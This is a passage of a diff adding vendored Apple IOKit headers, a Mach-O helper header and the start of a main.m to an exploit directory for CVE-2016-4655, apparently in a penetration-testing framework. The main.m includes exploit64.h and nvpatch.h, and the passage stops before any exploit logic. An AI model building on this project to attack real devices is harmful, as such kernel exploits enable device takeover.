#define kIOMaximumSegmentByteCountWriteKey "IOMaximumSegmentByteCountWrite" // (OSNumber)
|
||||||
|
#define kIOMinimumSegmentAlignmentByteCountKey "IOMinimumSegmentAlignmentByteCount" // (OSNumber)
|
||||||
|
#define kIOMaximumSegmentAddressableBitCountKey "IOMaximumSegmentAddressableBitCount" // (OSNumber)
|
||||||
|
|
||||||
|
// properties found in services that wish to describe an icon
|
||||||
|
//
|
||||||
|
// IOIcon =
|
||||||
|
// {
|
||||||
|
// CFBundleIdentifier = "com.example.driver.example";
|
||||||
|
// IOBundleResourceFile = "example.icns";
|
||||||
|
// };
|
||||||
|
//
|
||||||
|
// where IOBundleResourceFile is the filename of the resource
|
||||||
|
|
||||||
|
#define kIOIconKey "IOIcon" // (OSDictionary)
|
||||||
|
#define kIOBundleResourceFileKey "IOBundleResourceFile" // (OSString)
|
||||||
|
|
||||||
|
#define kIOBusBadgeKey "IOBusBadge" // (OSDictionary)
|
||||||
|
#define kIODeviceIconKey "IODeviceIcon" // (OSDictionary)
|
||||||
|
|
||||||
|
// property of root that describes the machine's serial number as a string
|
||||||
|
#define kIOPlatformSerialNumberKey "IOPlatformSerialNumber" // (OSString)
|
||||||
|
|
||||||
|
// property of root that describes the machine's UUID as a string
|
||||||
|
#define kIOPlatformUUIDKey "IOPlatformUUID" // (OSString)
|
||||||
|
|
||||||
|
// IODTNVRAM property keys
|
||||||
|
#define kIONVRAMDeletePropertyKey "IONVRAM-DELETE-PROPERTY"
|
||||||
|
#define kIONVRAMSyncNowPropertyKey "IONVRAM-SYNCNOW-PROPERTY"
|
||||||
|
#define kIONVRAMActivateCSRConfigPropertyKey "IONVRAM-ARMCSR-PROPERTY"
|
||||||
|
#define kIODTNVRAMPanicInfoKey "aapl,panic-info"
|
||||||
|
|
||||||
|
// keys for complex boot information
|
||||||
|
#define kIOBootDeviceKey "IOBootDevice" // dict | array of dicts
|
||||||
|
#define kIOBootDevicePathKey "IOBootDevicePath" // arch-neutral OSString
|
||||||
|
#define kIOBootDeviceSizeKey "IOBootDeviceSize" // OSNumber of bytes
|
||||||
|
|
||||||
|
// keys for OS Version information
|
||||||
|
#define kOSBuildVersionKey "OS Build Version"
|
||||||
|
|
||||||
|
#endif /* ! _IOKIT_IOKITKEYS_H */
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,146 @@
|
||||||
|
/*
|
||||||
|
* Copyright (c) 1998-2002 Apple Computer, Inc. All rights reserved.
|
||||||
|
*
|
||||||
|
* @APPLE_OSREFERENCE_LICENSE_HEADER_START@
|
||||||
|
*
|
||||||
|
* This file contains Original Code and/or Modifications of Original Code
|
||||||
|
* as defined in and that are subject to the Apple Public Source License
|
||||||
|
* Version 2.0 (the 'License'). You may not use this file except in
|
||||||
|
* compliance with the License. The rights granted to you under the License
|
||||||
|
* may not be used to create, or enable the creation or redistribution of,
|
||||||
|
* unlawful or unlicensed copies of an Apple operating system, or to
|
||||||
|
* circumvent, violate, or enable the circumvention or violation of, any
|
||||||
|
* terms of an Apple operating system software license agreement.
|
||||||
|
*
|
||||||
|
* Please obtain a copy of the License at
|
||||||
|
* http://www.opensource.apple.com/apsl/ and read it before using this file.
|
||||||
|
*
|
||||||
|
* The Original Code and all software distributed under the License are
|
||||||
|
* distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
|
||||||
|
* EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
|
||||||
|
* INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
|
||||||
|
* Please see the License for the specific language governing rights and
|
||||||
|
* limitations under the License.
|
||||||
|
*
|
||||||
|
* @APPLE_OSREFERENCE_LICENSE_HEADER_END@
|
||||||
|
*/
|
||||||
|
/*
|
||||||
|
* HISTORY
|
||||||
|
*/
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Core IOReturn values. Others may be family defined.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef __IOKIT_IORETURN_H
|
||||||
|
#define __IOKIT_IORETURN_H
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
extern "C" {
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#include <mach/error.h>
|
||||||
|
|
||||||
|
typedef kern_return_t IOReturn;
|
||||||
|
|
||||||
|
#ifndef sys_iokit
|
||||||
|
#define sys_iokit err_system(0x38)
|
||||||
|
#endif /* sys_iokit */
|
||||||
|
#define sub_iokit_common err_sub(0)
|
||||||
|
#define sub_iokit_usb err_sub(1)
|
||||||
|
#define sub_iokit_firewire err_sub(2)
|
||||||
|
#define sub_iokit_block_storage err_sub(4)
|
||||||
|
#define sub_iokit_graphics err_sub(5)
|
||||||
|
#define sub_iokit_networking err_sub(6)
|
||||||
|
#define sub_iokit_bluetooth err_sub(8)
|
||||||
|
#define sub_iokit_pmu err_sub(9)
|
||||||
|
#define sub_iokit_acpi err_sub(10)
|
||||||
|
#define sub_iokit_smbus err_sub(11)
|
||||||
|
#define sub_iokit_ahci err_sub(12)
|
||||||
|
#define sub_iokit_powermanagement err_sub(13)
|
||||||
|
#define sub_iokit_hidsystem err_sub(14)
|
||||||
|
#define sub_iokit_scsi err_sub(16)
|
||||||
|
#define sub_iokit_usbaudio err_sub(17)
|
||||||
|
//#define sub_iokit_pccard err_sub(21)
|
||||||
|
#define sub_iokit_thunderbolt err_sub(29)
|
||||||
|
#define sub_iokit_platform err_sub(0x2A)
|
||||||
|
#define sub_iokit_audio_video err_sub(0x45)
|
||||||
|
#define sub_iokit_baseband err_sub(0x80)
|
||||||
|
#define sub_iokit_HDA err_sub(254)
|
||||||
|
#define sub_iokit_hsic err_sub(0x147)
|
||||||
|
#define sub_iokit_sdio err_sub(0x174)
|
||||||
|
#define sub_iokit_wlan err_sub(0x208)
|
||||||
|
|
||||||
|
#define sub_iokit_vendor_specific err_sub(-2)
|
||||||
|
#define sub_iokit_reserved err_sub(-1)
|
||||||
|
|
||||||
|
#define iokit_common_err(return) (sys_iokit|sub_iokit_common|return)
|
||||||
|
#define iokit_family_err(sub,return) (sys_iokit|sub|return)
|
||||||
|
#define iokit_vendor_specific_err(return) (sys_iokit|sub_iokit_vendor_specific|return)
|
||||||
|
|
||||||
|
#define kIOReturnSuccess KERN_SUCCESS // OK
|
||||||
|
#define kIOReturnError iokit_common_err(0x2bc) // general error
|
||||||
|
#define kIOReturnNoMemory iokit_common_err(0x2bd) // can't allocate memory
|
||||||
|
#define kIOReturnNoResources iokit_common_err(0x2be) // resource shortage
|
||||||
|
#define kIOReturnIPCError iokit_common_err(0x2bf) // error during IPC
|
||||||
|
#define kIOReturnNoDevice iokit_common_err(0x2c0) // no such device
|
||||||
|
#define kIOReturnNotPrivileged iokit_common_err(0x2c1) // privilege violation
|
||||||
|
#define kIOReturnBadArgument iokit_common_err(0x2c2) // invalid argument
|
||||||
|
#define kIOReturnLockedRead iokit_common_err(0x2c3) // device read locked
|
||||||
|
#define kIOReturnLockedWrite iokit_common_err(0x2c4) // device write locked
|
||||||
|
#define kIOReturnExclusiveAccess iokit_common_err(0x2c5) // exclusive access and
|
||||||
|
// device already open
|
||||||
|
#define kIOReturnBadMessageID iokit_common_err(0x2c6) // sent/received messages
|
||||||
|
// had different msg_id
|
||||||
|
#define kIOReturnUnsupported iokit_common_err(0x2c7) // unsupported function
|
||||||
|
#define kIOReturnVMError iokit_common_err(0x2c8) // misc. VM failure
|
||||||
|
#define kIOReturnInternalError iokit_common_err(0x2c9) // internal error
|
||||||
|
#define kIOReturnIOError iokit_common_err(0x2ca) // General I/O error
|
||||||
|
//#define kIOReturn???Error iokit_common_err(0x2cb) // ???
|
||||||
|
#define kIOReturnCannotLock iokit_common_err(0x2cc) // can't acquire lock
|
||||||
|
#define kIOReturnNotOpen iokit_common_err(0x2cd) // device not open
|
||||||
|
#define kIOReturnNotReadable iokit_common_err(0x2ce) // read not supported
|
||||||
|
#define kIOReturnNotWritable iokit_common_err(0x2cf) // write not supported
|
||||||
|
#define kIOReturnNotAligned iokit_common_err(0x2d0) // alignment error
|
||||||
|
#define kIOReturnBadMedia iokit_common_err(0x2d1) // Media Error
|
||||||
|
#define kIOReturnStillOpen iokit_common_err(0x2d2) // device(s) still open
|
||||||
|
#define kIOReturnRLDError iokit_common_err(0x2d3) // rld failure
|
||||||
|
#define kIOReturnDMAError iokit_common_err(0x2d4) // DMA failure
|
||||||
|
#define kIOReturnBusy iokit_common_err(0x2d5) // Device Busy
|
||||||
|
#define kIOReturnTimeout iokit_common_err(0x2d6) // I/O Timeout
|
||||||
|
#define kIOReturnOffline iokit_common_err(0x2d7) // device offline
|
||||||
|
#define kIOReturnNotReady iokit_common_err(0x2d8) // not ready
|
||||||
|
#define kIOReturnNotAttached iokit_common_err(0x2d9) // device not attached
|
||||||
|
#define kIOReturnNoChannels iokit_common_err(0x2da) // no DMA channels left
|
||||||
|
#define kIOReturnNoSpace iokit_common_err(0x2db) // no space for data
|
||||||
|
//#define kIOReturn???Error iokit_common_err(0x2dc) // ???
|
||||||
|
#define kIOReturnPortExists iokit_common_err(0x2dd) // port already exists
|
||||||
|
#define kIOReturnCannotWire iokit_common_err(0x2de) // can't wire down
|
||||||
|
// physical memory
|
||||||
|
#define kIOReturnNoInterrupt iokit_common_err(0x2df) // no interrupt attached
|
||||||
|
#define kIOReturnNoFrames iokit_common_err(0x2e0) // no DMA frames enqueued
|
||||||
|
#define kIOReturnMessageTooLarge iokit_common_err(0x2e1) // oversized msg received
|
||||||
|
// on interrupt port
|
||||||
|
#define kIOReturnNotPermitted iokit_common_err(0x2e2) // not permitted
|
||||||
|
#define kIOReturnNoPower iokit_common_err(0x2e3) // no power to device
|
||||||
|
#define kIOReturnNoMedia iokit_common_err(0x2e4) // media not present
|
||||||
|
#define kIOReturnUnformattedMedia iokit_common_err(0x2e5)// media not formatted
|
||||||
|
#define kIOReturnUnsupportedMode iokit_common_err(0x2e6) // no such mode
|
||||||
|
#define kIOReturnUnderrun iokit_common_err(0x2e7) // data underrun
|
||||||
|
#define kIOReturnOverrun iokit_common_err(0x2e8) // data overrun
|
||||||
|
#define kIOReturnDeviceError iokit_common_err(0x2e9) // the device is not working properly!
|
||||||
|
#define kIOReturnNoCompletion iokit_common_err(0x2ea) // a completion routine is required
|
||||||
|
#define kIOReturnAborted iokit_common_err(0x2eb) // operation aborted
|
||||||
|
#define kIOReturnNoBandwidth iokit_common_err(0x2ec) // bus bandwidth would be exceeded
|
||||||
|
#define kIOReturnNotResponding iokit_common_err(0x2ed) // device not responding
|
||||||
|
#define kIOReturnIsoTooOld iokit_common_err(0x2ee) // isochronous I/O request for distant past!
|
||||||
|
#define kIOReturnIsoTooNew iokit_common_err(0x2ef) // isochronous I/O request for distant future
|
||||||
|
#define kIOReturnNotFound iokit_common_err(0x2f0) // data was not found
|
||||||
|
#define kIOReturnInvalid iokit_common_err(0x1) // should never be seen
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#endif /* ! __IOKIT_IORETURN_H */
|
|
@ -0,0 +1,236 @@
|
||||||
|
/*
|
||||||
|
* Copyright (c) 1998-2012 Apple Computer, Inc. All rights reserved.
|
||||||
|
*
|
||||||
|
* @APPLE_OSREFERENCE_LICENSE_HEADER_START@
|
||||||
|
*
|
||||||
|
* This file contains Original Code and/or Modifications of Original Code
|
||||||
|
* as defined in and that are subject to the Apple Public Source License
|
||||||
|
* Version 2.0 (the 'License'). You may not use this file except in
|
||||||
|
* compliance with the License. The rights granted to you under the License
|
||||||
|
* may not be used to create, or enable the creation or redistribution of,
|
||||||
|
* unlawful or unlicensed copies of an Apple operating system, or to
|
||||||
|
* circumvent, violate, or enable the circumvention or violation of, any
|
||||||
|
* terms of an Apple operating system software license agreement.
|
||||||
|
*
|
||||||
|
* Please obtain a copy of the License at
|
||||||
|
* http://www.opensource.apple.com/apsl/ and read it before using this file.
|
||||||
|
*
|
||||||
|
* The Original Code and all software distributed under the License are
|
||||||
|
* distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
|
||||||
|
* EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
|
||||||
|
* INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
|
||||||
|
* Please see the License for the specific language governing rights and
|
||||||
|
* limitations under the License.
|
||||||
|
*
|
||||||
|
* @APPLE_OSREFERENCE_LICENSE_HEADER_END@
|
||||||
|
*/
|
||||||
|
#ifndef __IOKIT_IOTYPES_H
|
||||||
|
#define __IOKIT_IOTYPES_H
|
||||||
|
|
||||||
|
#ifndef IOKIT
|
||||||
|
#define IOKIT 1
|
||||||
|
#endif /* !IOKIT */
|
||||||
|
|
||||||
|
#include <mach/message.h>
|
||||||
|
#include <mach/vm_types.h>
|
||||||
|
|
||||||
|
#include <IOKit/IOReturn.h>
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
extern "C" {
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifndef NULL
|
||||||
|
#if defined (__cplusplus)
|
||||||
|
#define NULL 0
|
||||||
|
#else
|
||||||
|
#define NULL ((void *)0)
|
||||||
|
#endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Simple data types.
|
||||||
|
*/
|
||||||
|
#include <stdbool.h>
|
||||||
|
//#include <libkern/OSTypes.h>
|
||||||
|
|
||||||
|
|
||||||
|
typedef UInt32 IOOptionBits;
|
||||||
|
typedef SInt32 IOFixed;
|
||||||
|
typedef UInt32 IOVersion;
|
||||||
|
typedef UInt32 IOItemCount;
|
||||||
|
typedef UInt32 IOCacheMode;
|
||||||
|
|
||||||
|
typedef UInt32 IOByteCount32;
|
||||||
|
typedef UInt64 IOByteCount64;
|
||||||
|
|
||||||
|
typedef UInt32 IOPhysicalAddress32;
|
||||||
|
typedef UInt64 IOPhysicalAddress64;
|
||||||
|
typedef UInt32 IOPhysicalLength32;
|
||||||
|
typedef UInt64 IOPhysicalLength64;
|
||||||
|
|
||||||
|
#if !defined(__arm__) && !defined(__i386__)
|
||||||
|
typedef mach_vm_address_t IOVirtualAddress;
|
||||||
|
#else
|
||||||
|
typedef vm_address_t IOVirtualAddress;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#if !defined(__arm__) && !defined(__i386__) && !(defined(__x86_64__) && !defined(KERNEL))
|
||||||
|
typedef IOByteCount64 IOByteCount;
|
||||||
|
#else
|
||||||
|
typedef IOByteCount32 IOByteCount;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
typedef IOVirtualAddress IOLogicalAddress;
|
||||||
|
|
||||||
|
#if !defined(__arm__) && !defined(__i386__) && !(defined(__x86_64__) && !defined(KERNEL))
|
||||||
|
|
||||||
|
typedef IOPhysicalAddress64 IOPhysicalAddress;
|
||||||
|
typedef IOPhysicalLength64 IOPhysicalLength;
|
||||||
|
#define IOPhysical32( hi, lo ) ((UInt64) lo + ((UInt64)(hi) << 32))
|
||||||
|
#define IOPhysSize 64
|
||||||
|
|
||||||
|
#else
|
||||||
|
|
||||||
|
typedef IOPhysicalAddress32 IOPhysicalAddress;
|
||||||
|
typedef IOPhysicalLength32 IOPhysicalLength;
|
||||||
|
#define IOPhysical32( hi, lo ) (lo)
|
||||||
|
#define IOPhysSize 32
|
||||||
|
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
IOPhysicalAddress address;
|
||||||
|
IOByteCount length;
|
||||||
|
} IOPhysicalRange;
|
||||||
|
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
IOVirtualAddress address;
|
||||||
|
IOByteCount length;
|
||||||
|
} IOVirtualRange;
|
||||||
|
|
||||||
|
#if !defined(__arm__) && !defined(__i386__)
|
||||||
|
typedef IOVirtualRange IOAddressRange;
|
||||||
|
#else
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
mach_vm_address_t address;
|
||||||
|
mach_vm_size_t length;
|
||||||
|
} IOAddressRange;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Map between #defined or enum'd constants and text description.
|
||||||
|
*/
|
||||||
|
typedef struct {
|
||||||
|
int value;
|
||||||
|
const char *name;
|
||||||
|
} IONamedValue;
|
||||||
|
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Memory alignment -- specified as a power of two.
|
||||||
|
*/
|
||||||
|
typedef unsigned int IOAlignment;
|
||||||
|
|
||||||
|
#define IO_NULL_VM_TASK ((vm_task_t)0)
|
||||||
|
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Pull in machine specific stuff.
|
||||||
|
*/
|
||||||
|
|
||||||
|
//#include <IOKit/machine/IOTypes.h>
|
||||||
|
|
||||||
|
#ifndef MACH_KERNEL
|
||||||
|
|
||||||
|
#ifndef __IOKIT_PORTS_DEFINED__
|
||||||
|
#define __IOKIT_PORTS_DEFINED__
|
||||||
|
typedef mach_port_t io_object_t;
|
||||||
|
#endif /* __IOKIT_PORTS_DEFINED__ */
|
||||||
|
|
||||||
|
#include <device/device_types.h>
|
||||||
|
|
||||||
|
typedef io_object_t io_connect_t;
|
||||||
|
typedef io_object_t io_enumerator_t;
|
||||||
|
typedef io_object_t io_iterator_t;
|
||||||
|
typedef io_object_t io_registry_entry_t;
|
||||||
|
typedef io_object_t io_service_t;
|
||||||
|
|
||||||
|
#define IO_OBJECT_NULL ((io_object_t) 0)
|
||||||
|
|
||||||
|
#endif /* MACH_KERNEL */
|
||||||
|
|
||||||
|
// IOConnectMapMemory memoryTypes
|
||||||
|
enum {
|
||||||
|
kIODefaultMemoryType = 0
|
||||||
|
};
|
||||||
|
|
||||||
|
enum {
|
||||||
|
kIODefaultCache = 0,
|
||||||
|
kIOInhibitCache = 1,
|
||||||
|
kIOWriteThruCache = 2,
|
||||||
|
kIOCopybackCache = 3,
|
||||||
|
kIOWriteCombineCache = 4,
|
||||||
|
kIOCopybackInnerCache = 5
|
||||||
|
};
|
||||||
|
|
||||||
|
// IOMemory mapping options
|
||||||
|
enum {
|
||||||
|
kIOMapAnywhere = 0x00000001,
|
||||||
|
|
||||||
|
kIOMapCacheMask = 0x00000700,
|
||||||
|
kIOMapCacheShift = 8,
|
||||||
|
kIOMapDefaultCache = kIODefaultCache << kIOMapCacheShift,
|
||||||
|
kIOMapInhibitCache = kIOInhibitCache << kIOMapCacheShift,
|
||||||
|
kIOMapWriteThruCache = kIOWriteThruCache << kIOMapCacheShift,
|
||||||
|
kIOMapCopybackCache = kIOCopybackCache << kIOMapCacheShift,
|
||||||
|
kIOMapWriteCombineCache = kIOWriteCombineCache << kIOMapCacheShift,
|
||||||
|
kIOMapCopybackInnerCache = kIOCopybackInnerCache << kIOMapCacheShift,
|
||||||
|
|
||||||
|
kIOMapUserOptionsMask = 0x00000fff,
|
||||||
|
|
||||||
|
kIOMapReadOnly = 0x00001000,
|
||||||
|
|
||||||
|
kIOMapStatic = 0x01000000,
|
||||||
|
kIOMapReference = 0x02000000,
|
||||||
|
kIOMapUnique = 0x04000000,
|
||||||
|
kIOMapPrefault = 0x10000000,
|
||||||
|
kIOMapOverwrite = 0x20000000
|
||||||
|
};
|
||||||
|
|
||||||
|
/*! @enum Scale Factors
|
||||||
|
@discussion Used when a scale_factor parameter is required to define a unit of time.
|
||||||
|
@constant kNanosecondScale Scale factor for nanosecond based times.
|
||||||
|
@constant kMicrosecondScale Scale factor for microsecond based times.
|
||||||
|
@constant kMillisecondScale Scale factor for millisecond based times.
|
||||||
|
@constant kTickScale Scale factor for the standard (100Hz) tick.
|
||||||
|
@constant kSecondScale Scale factor for second based times. */
|
||||||
|
|
||||||
|
enum {
|
||||||
|
kNanosecondScale = 1,
|
||||||
|
kMicrosecondScale = 1000,
|
||||||
|
kMillisecondScale = 1000 * 1000,
|
||||||
|
kSecondScale = 1000 * 1000 * 1000,
|
||||||
|
kTickScale = (kSecondScale / 100)
|
||||||
|
};
|
||||||
|
|
||||||
|
enum {
|
||||||
|
kIOConnectMethodVarOutputSize = -3
|
||||||
|
};
|
||||||
|
|
||||||
|
/* compatibility types */
|
||||||
|
|
||||||
|
|
||||||
|
typedef unsigned int IODeviceNumber;
|
||||||
|
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#endif /* ! __IOKIT_IOTYPES_H */
|
163
external/source/exploits/CVE-2016-4655/headers/IOKit/OSMessageNotification.h
vendored
Normal file
163
external/source/exploits/CVE-2016-4655/headers/IOKit/OSMessageNotification.h
vendored
Normal file
|
@ -0,0 +1,163 @@
|
||||||
|
/*
|
||||||
|
* Copyright (c) 1998-2000 Apple Computer, Inc. All rights reserved.
|
||||||
|
*
|
||||||
|
* @APPLE_OSREFERENCE_LICENSE_HEADER_START@
|
||||||
|
*
|
||||||
|
* This file contains Original Code and/or Modifications of Original Code
|
||||||
|
* as defined in and that are subject to the Apple Public Source License
|
||||||
|
* Version 2.0 (the 'License'). You may not use this file except in
|
||||||
|
* compliance with the License. The rights granted to you under the License
|
||||||
|
* may not be used to create, or enable the creation or redistribution of,
|
||||||
|
* unlawful or unlicensed copies of an Apple operating system, or to
|
||||||
|
* circumvent, violate, or enable the circumvention or violation of, any
|
||||||
|
* terms of an Apple operating system software license agreement.
|
||||||
|
*
|
||||||
|
* Please obtain a copy of the License at
|
||||||
|
* http://www.opensource.apple.com/apsl/ and read it before using this file.
|
||||||
|
*
|
||||||
|
* The Original Code and all software distributed under the License are
|
||||||
|
* distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
|
||||||
|
* EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
|
||||||
|
* INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
|
||||||
|
* Please see the License for the specific language governing rights and
|
||||||
|
* limitations under the License.
|
||||||
|
*
|
||||||
|
* @APPLE_OSREFERENCE_LICENSE_HEADER_END@
|
||||||
|
*/
|
||||||
|
/*
|
||||||
|
* Copyright (c) 1999 Apple Computer, Inc. All rights reserved.
|
||||||
|
*
|
||||||
|
* HISTORY
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef __OS_OSMESSAGENOTIFICATION_H
|
||||||
|
#define __OS_OSMESSAGENOTIFICATION_H
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
extern "C" {
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#include <mach/mach_types.h>
|
||||||
|
#include <device/device_types.h>
|
||||||
|
#include <IOKit/IOReturn.h>
|
||||||
|
|
||||||
|
enum {
|
||||||
|
kFirstIOKitNotificationType = 100,
|
||||||
|
kIOServicePublishNotificationType = 100,
|
||||||
|
kIOServiceMatchedNotificationType = 101,
|
||||||
|
kIOServiceTerminatedNotificationType = 102,
|
||||||
|
kIOAsyncCompletionNotificationType = 150,
|
||||||
|
kIOServiceMessageNotificationType = 160,
|
||||||
|
kLastIOKitNotificationType = 199,
|
||||||
|
|
||||||
|
// reserved bits
|
||||||
|
kIOKitNoticationTypeMask = 0x00000FFF,
|
||||||
|
kIOKitNoticationTypeSizeAdjShift = 30,
|
||||||
|
kIOKitNoticationMsgSizeMask = 3,
|
||||||
|
};
|
||||||
|
|
||||||
|
enum {
|
||||||
|
kOSNotificationMessageID = 53,
|
||||||
|
kOSAsyncCompleteMessageID = 57,
|
||||||
|
kMaxAsyncArgs = 16
|
||||||
|
};
|
||||||
|
|
||||||
|
enum {
|
||||||
|
kIOAsyncReservedIndex = 0,
|
||||||
|
kIOAsyncReservedCount,
|
||||||
|
|
||||||
|
kIOAsyncCalloutFuncIndex = kIOAsyncReservedCount,
|
||||||
|
kIOAsyncCalloutRefconIndex,
|
||||||
|
kIOAsyncCalloutCount,
|
||||||
|
|
||||||
|
kIOMatchingCalloutFuncIndex = kIOAsyncReservedCount,
|
||||||
|
kIOMatchingCalloutRefconIndex,
|
||||||
|
kIOMatchingCalloutCount,
|
||||||
|
|
||||||
|
kIOInterestCalloutFuncIndex = kIOAsyncReservedCount,
|
||||||
|
kIOInterestCalloutRefconIndex,
|
||||||
|
kIOInterestCalloutServiceIndex,
|
||||||
|
kIOInterestCalloutCount
|
||||||
|
};
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
// --------------
|
||||||
|
enum {
|
||||||
|
kOSAsyncRef64Count = 8,
|
||||||
|
kOSAsyncRef64Size = kOSAsyncRef64Count * ((int) sizeof(io_user_reference_t))
|
||||||
|
};
|
||||||
|
typedef io_user_reference_t OSAsyncReference64[kOSAsyncRef64Count];
|
||||||
|
|
||||||
|
struct OSNotificationHeader64 {
|
||||||
|
mach_msg_size_t size; /* content size */
|
||||||
|
natural_t type;
|
||||||
|
OSAsyncReference64 reference;
|
||||||
|
|
||||||
|
#if defined(__STDC_VERSION__) && (__STDC_VERSION__ >= 199901L)
|
||||||
|
unsigned char content[];
|
||||||
|
#else
|
||||||
|
unsigned char content[0];
|
||||||
|
#endif
|
||||||
|
};
|
||||||
|
|
||||||
|
#pragma pack(4)
|
||||||
|
struct IOServiceInterestContent64 {
|
||||||
|
natural_t messageType;
|
||||||
|
io_user_reference_t messageArgument[1];
|
||||||
|
};
|
||||||
|
#pragma pack()
|
||||||
|
// --------------
|
||||||
|
|
||||||
|
#if !KERNEL_USER32
|
||||||
|
|
||||||
|
enum {
|
||||||
|
kOSAsyncRefCount = 8,
|
||||||
|
kOSAsyncRefSize = 32
|
||||||
|
};
|
||||||
|
typedef natural_t OSAsyncReference[kOSAsyncRefCount];
|
||||||
|
|
||||||
|
struct OSNotificationHeader {
|
||||||
|
mach_msg_size_t size; /* content size */
|
||||||
|
natural_t type;
|
||||||
|
OSAsyncReference reference;
|
||||||
|
|
||||||
|
#if defined(__STDC_VERSION__) && (__STDC_VERSION__ >= 199901L)
|
||||||
|
unsigned char content[];
|
||||||
|
#else
|
||||||
|
unsigned char content[0];
|
||||||
|
#endif
|
||||||
|
};
|
||||||
|
|
||||||
|
#pragma pack(4)
|
||||||
|
struct IOServiceInterestContent {
|
||||||
|
natural_t messageType;
|
||||||
|
void * messageArgument[1];
|
||||||
|
};
|
||||||
|
#pragma pack()
|
||||||
|
|
||||||
|
#endif /* KERNEL_USER32 */
|
||||||
|
|
||||||
|
struct IOAsyncCompletionContent {
|
||||||
|
IOReturn result;
|
||||||
|
#if defined(__STDC_VERSION__) && (__STDC_VERSION__ >= 199901L)
|
||||||
|
void * args[] __attribute__ ((packed));
|
||||||
|
#else
|
||||||
|
void * args[0] __attribute__ ((packed));
|
||||||
|
#endif
|
||||||
|
};
|
||||||
|
|
||||||
|
#ifndef __cplusplus
|
||||||
|
typedef struct OSNotificationHeader OSNotificationHeader;
|
||||||
|
typedef struct IOServiceInterestContent IOServiceInterestContent;
|
||||||
|
typedef struct IOAsyncCompletionContent IOAsyncCompletionContent;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#endif /* __OS_OSMESSAGENOTIFICATION_H */
|
||||||
|
|
|
@ -0,0 +1,23 @@
|
||||||
|
/*
|
||||||
|
* mach-o.h - Code that deals with the Mach-O file format
|
||||||
|
* Taken from kern-utils
|
||||||
|
*
|
||||||
|
* Copyright (c) 2012 comex
|
||||||
|
* Copyright (c) 2016 Siguza
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef MACH_O_H
|
||||||
|
#define MACH_O_H
|
||||||
|
|
||||||
|
#include <mach-o/loader.h> // load_command
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Iterate over all load commands in a Mach-O header
|
||||||
|
*/
|
||||||
|
#define CMD_ITERATE(hdr, cmd) \
|
||||||
|
for(struct load_command *cmd = (struct load_command *) ((hdr) + 1), \
|
||||||
|
*end = (struct load_command *) ((char *) cmd + (hdr)->sizeofcmds); \
|
||||||
|
cmd < end; \
|
||||||
|
cmd = (struct load_command *) ((char *) cmd + cmd->cmdsize))
|
||||||
|
|
||||||
|
#endif
|
|
@ -0,0 +1,124 @@
|
||||||
|
/*
|
||||||
|
* main.m - Helper file
|
||||||
|
*
|
||||||
|
* Copyright (c) 2017 Siguza & tihmstar
|
||||||
|
*/
|
||||||
|
|
||||||
|
|
||||||
|
#import <UIKit/UIKit.h>
|
||||||
|
|
||||||
|
//#include <errno.h>
|
||||||
|
//#include <stdbool.h>
|
||||||
|
//#include <stdio.h>
|
||||||
|
//#include <string.h>
|
||||||
|
//#include <unistd.h>
|
||||||
|
//#include <spawn.h>
|
||||||
|
//#include <sys/stat.h>
|
||||||
|
//#include <mach/mach.h>
|
||||||
|
|
||||||
|
//#include <IOKit/IOKitLib.h>
|
||||||
|
|
||||||
|
#include "arch.h"
|
||||||
|
#include "exploit64.h"
|
||||||
|
#include "nvpatch.h"
|
||||||
|
#include "set.h"
|
||||||
|
|
||||||
|
//#include <mettle.h>
|
||||||
|
|
||||||
|
/*
|
||||||
|
|
||||||
|
void suspend_all_threads() {
|
||||||
|
thread_act_t other_thread, current_thread;
|
||||||
|
unsigned int thread_count;
|
||||||
|
thread_act_array_t thread_list;
|
||||||
|
|
||||||
|
